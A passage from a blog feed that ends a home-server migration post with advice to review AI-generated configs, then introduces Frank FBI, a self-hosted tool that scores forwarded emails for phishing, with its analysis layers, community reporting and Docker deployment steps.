    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>A warning about using AI to administer servers<span class="hx:absolute hx:-mt-20" id="a-warning-about-using-ai-to-administer-servers"></span>
    <a href="#a-warning-about-using-ai-to-administer-servers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I used Claude Code to speed up the migration. It created compose files, wrote backup scripts, configured the firewall, diagnosed SELinux problems. It worked well for my case: home server, only I use it, and I was reviewing every step.</p>
<p>But there are traps. Claude doesn&rsquo;t know that <code>:Z</code> breaks SQLite unless you tell it. It doesn&rsquo;t know that Fulcrum doesn&rsquo;t accept env vars unless it&rsquo;s already seen the Dockerfile. It will invent &ldquo;better&rdquo; volume layouts that break Plex because Plex stores absolute paths in its database.</p>
<p>If it were real production: don&rsquo;t do this without review. Every compose file Claude generates, read it in full before applying. Every destructive command (rollback, delete, recreate), confirm manually. And have tested backups before you start. Claude is great for generating the first version and diagnosing errors, but the architecture decisions and the safety validations are yours.</p>
<p>The previous home server posts that may give additional context:</p>
<ul>
<li><a href="/en/2024/04/03/my-personal-netflix-with-docker-compose/">My &ldquo;Personal Netflix&rdquo; with Docker Compose</a></li>
<li><a href="/en/2025/09/09/accessing-my-home-server-with-a-real-domain/">Accessing my Home Server with a real domain</a></li>
<li><a href="/en/2025/09/10/protecting-your-home-server-with-cloudflare-zero-trust/">Protecting your Home Server with Cloudflare Zero Trust</a></li>
<li><a href="/en/2025/09/10/installing-grafana-on-my-home-server/">Installing Grafana on my Home Server</a></li>
<li><a href="/en/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">Self-hosted Vaultwarden</a></li>
</ul>
]]></content:encoded><category>homelab</category><category>containers</category><category>devops</category><category>security</category></item><item><title>Going After Email Fraud | Frank FBI</title><link>https://akitaonrails.github.io/en/2026/03/09/going-after-email-fraud-frank-fbi/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/03/09/going-after-email-fraud-frank-fbi/</guid><pubDate>Mon, 09 Mar 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;This past weekend I worked on 3 projects. Two of them I already published: &lt;a href="https://akitaonrails.github.io/en/2026/03/07/easy-ffmpeg-smart-wrapper-in-crystal/"&gt;easy-ffmpeg&lt;/a&gt;, a smart wrapper for FFmpeg in Crystal, and &lt;a href="https://akitaonrails.github.io/en/2026/03/07/porting-10k-lines-of-python-to-crystal-with-claude-easy-subtitle/"&gt;easy-subtitle&lt;/a&gt;, a port of 10 thousand lines of Python to Crystal in less than 40 minutes. I keep improving both, adding features and fixing edge cases as I use them day to day.&lt;/p&gt;
&lt;p&gt;But the third project is a different beast. It&amp;rsquo;s a security project. And the motivation comes from an old pain.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This past weekend I worked on 3 projects. Two of them I already published: <a href="/en/2026/03/07/easy-ffmpeg-smart-wrapper-in-crystal/">easy-ffmpeg</a>, a smart wrapper for FFmpeg in Crystal, and <a href="/en/2026/03/07/porting-10k-lines-of-python-to-crystal-with-claude-easy-subtitle/">easy-subtitle</a>, a port of 10 thousand lines of Python to Crystal in less than 40 minutes. I keep improving both, adding features and fixing edge cases as I use them day to day.</p>
<p>But the third project is a different beast. It&rsquo;s a security project. And the motivation comes from an old pain.</p>
<h2>The problem: too many emails<span class="hx:absolute hx:-mt-20" id="the-problem-too-many-emails"></span>
    <a href="#the-problem-too-many-emails" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>As an ex-YouTuber and content creator, I get an absurd amount of email. Event invitations, collab proposals, sponsorship offers, requests to promote stuff. Every kind of pitch.</p>
<p>I delete 100% of them. I don&rsquo;t read them. Most of them I mark as SPAM without even opening. The easiest way to get reported by me is to send me an email — I don&rsquo;t care, because I don&rsquo;t need to. I also don&rsquo;t answer the phone. Ever. And I automatically block anyone who messages me directly on WhatsApp, regardless of the content. My time is too valuable to spend triaging messages from strangers. I delete everything and move on.</p>
<p>It works for me. But I know most people don&rsquo;t operate that way.</p>
<h2>The poison is VANITY<span class="hx:absolute hx:-mt-20" id="the-poison-is-vanity"></span>
    <a href="#the-poison-is-vanity" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Most people who fall for email phishing don&rsquo;t fall because of technical ignorance. They fall because of <strong>VANITY</strong>.</p>
<p>&ldquo;Hello, we&rsquo;d like to invite you to our exclusive event.&rdquo; &ldquo;Your brand has been selected for a special partnership.&rdquo; &ldquo;Congratulations, you&rsquo;ve been nominated as a reference in your sector.&rdquo;</p>
<p>The dopamine hits before reason has a chance to step in. Someone recognized your work, someone wants to give you money. That&rsquo;s exactly when the scammer gets you.</p>
<p>It isn&rsquo;t the multinational CEO who falls for the Nigerian prince scam. It&rsquo;s the micro-influencer who gets a sponsorship offer that&rsquo;s &ldquo;too good to be true.&rdquo; It&rsquo;s the small business owner who gets an invite to an event that looks legitimate. Vanity turns off critical thinking.</p>
<p>And the scams are getting more sophisticated by the day. With LLMs, any criminal can generate perfect emails in Portuguese, with no grammar errors, professional formatting, and domains that mimic real companies. The old &ldquo;look at the typos&rdquo; doesn&rsquo;t work as a filter anymore.</p>
<h2>The idea: Frank FBI<span class="hx:absolute hx:-mt-20" id="the-idea-frank-fbi"></span>
    <a href="#the-idea-frank-fbi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Instead of trying to teach everyone how to spot phishing (which doesn&rsquo;t work, because vanity beats training), why not build a tool that does it automatically?</p>
<p>Got a suspicious email? Forward it to a dedicated address. In a few minutes, you get back a detailed report with everything the tool managed to find out about that email.</p>
<p>That&rsquo;s how <a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">Frank FBI</a> was born — Fraud Bureau of Investigation.</p>
<h2>How it works<span class="hx:absolute hx:-mt-20" id="how-it-works"></span>
    <a href="#how-it-works" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You set up a dedicated Gmail account (any Gmail with an App Password works). You register the email addresses authorized to use the service. From there, the flow is:</p>
<ol>
<li>You receive a suspicious email in your personal inbox</li>
<li>You forward it to the Frank FBI address</li>
<li>The system analyzes it automatically</li>
<li>You receive the response in the same thread, with the full report</li>
</ol>
<p>To give you a sense of the result, here&rsquo;s a report for a legitimate email (cold outreach from a real company):</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/ok-email.png" alt="Report for a legitimate email — score 80/100"  loading="lazy" /></p>
<p>And here&rsquo;s a suspicious one, where the sender&rsquo;s domain tries to impersonate another company:</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/suspect-email.png" alt="Report for a suspicious email — score 40/100"  loading="lazy" /></p>
<p>Frank FBI runs 6 layers of analysis, each with a specific weight in the final score:</p>
<h3>Layer 1 — Header authentication (15% weight)<span class="hx:absolute hx:-mt-20" id="layer-1--header-authentication-15-weight"></span>
    <a href="#layer-1--header-authentication-15-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>SPF, DKIM, DMARC. Does the Reply-To match the From? Are there suspicious anti-spam headers? This layer answers the most basic question: did the email actually come from who it claims to?</p>
<h3>Layer 2 — Sender reputation (15% weight)<span class="hx:absolute hx:-mt-20" id="layer-2--sender-reputation-15-weight"></span>
    <a href="#layer-2--sender-reputation-15-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Looks up the domain&rsquo;s age via WHOIS (a domain registered last week is already a signal), checks whether the IP is on DNS blacklists (DNSBL), and maintains a local reputation database that improves as more emails are analyzed. If the sender pretends to be a company but emails from a Gmail, that weighs in.</p>
<h3>Layer 3 — Content analysis (15% weight)<span class="hx:absolute hx:-mt-20" id="layer-3--content-analysis-15-weight"></span>
    <a href="#layer-3--content-analysis-15-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is where pattern matching comes in: artificial urgency (&ldquo;your account will be locked in 24 hours&rdquo;), requests for personal data, authority impersonation, financial offers. It also detects URL shorteners and links where the displayed text doesn&rsquo;t match the real href — that classic &ldquo;click here&rdquo; pointing at a completely different domain. Checks for dangerous attachments (.exe, .scr, Office macros).</p>
<h3>Layer 4 — External APIs (15% weight)<span class="hx:absolute hx:-mt-20" id="layer-4--external-apis-15-weight"></span>
    <a href="#layer-4--external-apis-15-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>URLhaus (abuse.ch) maintains a known-malicious URL database. VirusTotal aggregates results from dozens of antivirus engines. If any URL in the email has already been flagged as malware or phishing by these databases, the score goes up. Results are cached with a TTL so we don&rsquo;t blow through the rate limits of the free APIs.</p>
<h3>Layer 5 — Entity verification (10% weight)<span class="hx:absolute hx:-mt-20" id="layer-5--entity-verification-10-weight"></span>
    <a href="#layer-5--entity-verification-10-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is the layer I find the most interesting. Frank FBI does OSINT — Open Source Intelligence. It uses Brave Search to verify whether the sender or company actually exists. Does WHOIS on the domain directly. Captures a screenshot of the site with headless Chrome. Cross-references all of it to try to answer: &ldquo;is this entity real and is it who it claims to be?&rdquo;</p>
<p>Here&rsquo;s a real example of this layer in action, analyzing an email that tried to impersonate a legitimate company:</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/frank_fbi/master/docs/verificacao-identidade.png" alt="Identity verification — detailed OSINT"  loading="lazy" /></p>
<p>The domain was 83 days old, registered through Namecheap, with no verifiable online presence. The system found discrepancies between the name in the email and the public records, and identified that the legitimate company&rsquo;s real domain was a different one.</p>
<h3>Layer 6 — LLM analysis (30% weight)<span class="hx:absolute hx:-mt-20" id="layer-6--llm-analysis-30-weight"></span>
    <a href="#layer-6--llm-analysis-30-weight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Queries 3 AI models in parallel: Claude Sonnet (Anthropic), GPT-4o (OpenAI) and Grok 4 (xAI), via OpenRouter. Each model analyzes the email independently. A confidence-weighted consensus system combines the results. If all 3 agree it&rsquo;s fraud, confidence is high. If they disagree, the system weighs them. If every LLM fails, it falls back to a neutral score of 50 instead of guessing — better to admit ignorance than to hallucinate.</p>
<p>The final score is a confidence-adjusted weighted average. Possible verdicts: Legitimate (0-25), Suspicious OK (26-50), Suspicious Fraud (51-75) or Fraudulent (76-100). There&rsquo;s also a risk escalation policy that imposes minimum floors: if critical indicators were detected (confirmed malicious URLs, DKIM failure), the score can&rsquo;t fall below certain thresholds, even if the other layers found nothing.</p>
<h2>Self-hosted: your data stays with you<span class="hx:absolute hx:-mt-20" id="self-hosted-your-data-stays-with-you"></span>
    <a href="#self-hosted-your-data-stays-with-you" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Frank FBI is self-hosted. You run it on your own server. Your emails don&rsquo;t pass through any third-party service (except the verification APIs like VirusTotal, which only receive URLs, not the email&rsquo;s content).</p>
<p>You can install it on your home server, like I did, or inside your company&rsquo;s infrastructure for your employees to use. The deploy is via Docker Compose with 4 containers: the Rails app, a background job worker, an IMAP poller, and an initial database setup. Bring everything up with a <code>docker compose up -d</code> and it&rsquo;s running.</p>
<h2>Reporting fraud to the community<span class="hx:absolute hx:-mt-20" id="reporting-fraud-to-the-community"></span>
    <a href="#reporting-fraud-to-the-community" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Beyond analyzing emails for you, Frank FBI can optionally report confirmed fraud to community databases. This only happens when the score is &gt;= 85 and the verdict is &ldquo;fraudulent.&rdquo; It&rsquo;s opt-in.</p>
<p>ThreatFox (abuse.ch) is an open database of indicators of compromise (IOCs) maintained by the security community. When you report a malicious URL or domain there, firewalls, email filters and SIEMs around the world can consume that information to block the threat.</p>
<p>AbuseIPDB is the same idea, but for IPs. If the IP of the sender of the fraudulent email gets reported there, email providers and network admins can block malicious traffic before it reaches users.</p>
<p>And SpamCop is one of the oldest spam reporting services. Frank FBI forwards the full email to SpamCop, which analyzes the headers and reports to the responsible providers. It&rsquo;s reporting directly to whoever can act.</p>
<p>Each report is a contribution so other people don&rsquo;t fall for the same scam. And it&rsquo;s automated: if the email is clearly fraudulent, the report goes out without manual intervention.</p>
<p>But reporting wrong things does damage. That&rsquo;s why the system has anti-poisoning protections: a list of ~40 known domains (Microsoft, Apple, Google, Amazon, PayPal, governments) that are never reported; domains with clean scans are excluded; cloud infrastructure IPs (Google, Microsoft, Cloudflare) are filtered; free email domains are ignored. Only genuinely malicious IOCs reach the community databases.</p>
<h2>Deployment: how to get it running<span class="hx:absolute hx:-mt-20" id="deployment-how-to-get-it-running"></span>
    <a href="#deployment-how-to-get-it-running" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let me explain how I deployed it on my home server. If you have a VPS, NAS or any Linux machine with Docker, the process is the same.</p>
<h3>1. Clone and build the image<span class="hx:absolute hx:-mt-20" id="1-clone-and-build-the-image"></span>
    <a href="#1-clone-and-build-the-image" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>You need a private registry to store the Docker image. I use <a href="https://gitea.io/"target="_blank" rel="noopener">Gitea</a> on my home server — it&rsquo;s a lightweight self-hosted GitHub that includes a container registry. If you already have a private GitHub, you can use the GitHub Container Registry (ghcr.io) instead.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Clone the repository</span>
</span></span><span class="line"><span class="cl">git clone https://github.com/akitaonrails/frank_fbi.git
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> frank_fbi
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Build the Docker image</span>
</span></span><span class="line"><span class="cl"><span class="c1"># If using Gitea (replace with your registry&#39;s IP/port):</span>
</span></span><span class="line"><span class="cl">docker build -t seu-servidor:3007/frank_fbi:latest .
</span></span><span class="line"><span class="cl">docker push seu-servidor:3007/frank_fbi:latest
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># If using GitHub Container Registry:</span>
</span></span><span class="line"><span class="cl">docker build -t ghcr.io/seu-usuario/frank_fbi:latest .
</span></span><span class="line"><span class="cl">docker push ghcr.io/seu-usuario/frank_fbi:latest</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Configure the .env<span class="hx:absolute hx:-mt-20" id="2-configure-the-env"></span>
    <a href="#2-configure-the-env" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Copy <code>.env.example</code> and fill it in. The required variables:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Gere com: ruby -rsecurerandom -e &#39;puts SecureRandom.hex(64)&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">SECRET_KEY_BASE</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Gere com: bin/rails db:encryption:init (roda local, copia os 3 valores)</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Gmail dedicado pro Frank FBI (crie uma conta só pra isso)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Ative 2FA e gere um App Password em https://myaccount.google.com/apppasswords</span>
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_USERNAME</span><span class="o">=</span>seu-frank-fbi@gmail.com
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_PASSWORD</span><span class="o">=</span>xxxx-xxxx-xxxx-xxxx
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_IMAP_HOST</span><span class="o">=</span>imap.gmail.com
</span></span><span class="line"><span class="cl"><span class="nv">GMAIL_SMTP_HOST</span><span class="o">=</span>smtp.gmail.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Senha do ingress do Action Mailbox (qualquer string aleatória)</span>
</span></span><span class="line"><span class="cl"><span class="nv">RAILS_INBOUND_EMAIL_PASSWORD</span><span class="o">=</span>uma-senha-qualquer-longa
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># LLM via OpenRouter (obrigatório pra Camada 6)</span>
</span></span><span class="line"><span class="cl"><span class="nv">OPENROUTER_API_KEY</span><span class="o">=</span>sua-chave-openrouter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Seu email de admin (pra gerenciar remetentes autorizados)</span>
</span></span><span class="line"><span class="cl"><span class="nv">ADMIN_EMAIL</span><span class="o">=</span>seu-email@pessoal.com</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The external APIs are optional but recommended. Without them, the corresponding layers simply don&rsquo;t run:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># VirusTotal (grátis, 4 requests/min) - https://virustotal.com</span>
</span></span><span class="line"><span class="cl"><span class="nv">VIRUSTOTAL_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># WhoisXML (grátis, 500 requests/mês) - https://whoisxmlapi.com</span>
</span></span><span class="line"><span class="cl"><span class="nv">WHOISXML_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Brave Search (grátis, 1 req/s) - https://brave.com/search/api/</span>
</span></span><span class="line"><span class="cl"><span class="nv">BRAVE_SEARCH_API_KEY</span><span class="o">=</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And the community reporting, which is fully opt-in. Leave it blank if you don&rsquo;t want to report:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">THREATFOX_AUTH_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">ABUSEIPDB_API_KEY</span><span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="nv">SPAMCOP_SUBMISSION_ADDRESS</span><span class="o">=</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. Docker Compose on the server<span class="hx:absolute hx:-mt-20" id="3-docker-compose-on-the-server"></span>
    <a href="#3-docker-compose-on-the-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Create the <code>docker-compose.yml</code> on your server. Replace the image with your registry:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest </span><span class="w"> </span><span class="c"># ou ghcr.io/seu-usuario/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;db:prepare&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">app</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./emails:/rails/emails</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_completed_successfully</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;curl&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-f&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;http://localhost:3000/up&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">5s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">15s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">worker</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/jobs&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">setup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_completed_successfully</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">mail_fetcher</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">seu-servidor:3007/frank_fbi:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;frank_fbi:fetch_mail&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">env_file</span><span class="p">:</span><span class="w"> </span><span class="l">.env</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">RAILS_ENV=production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">APP_HOST=http://app:3000</span><span class="w">
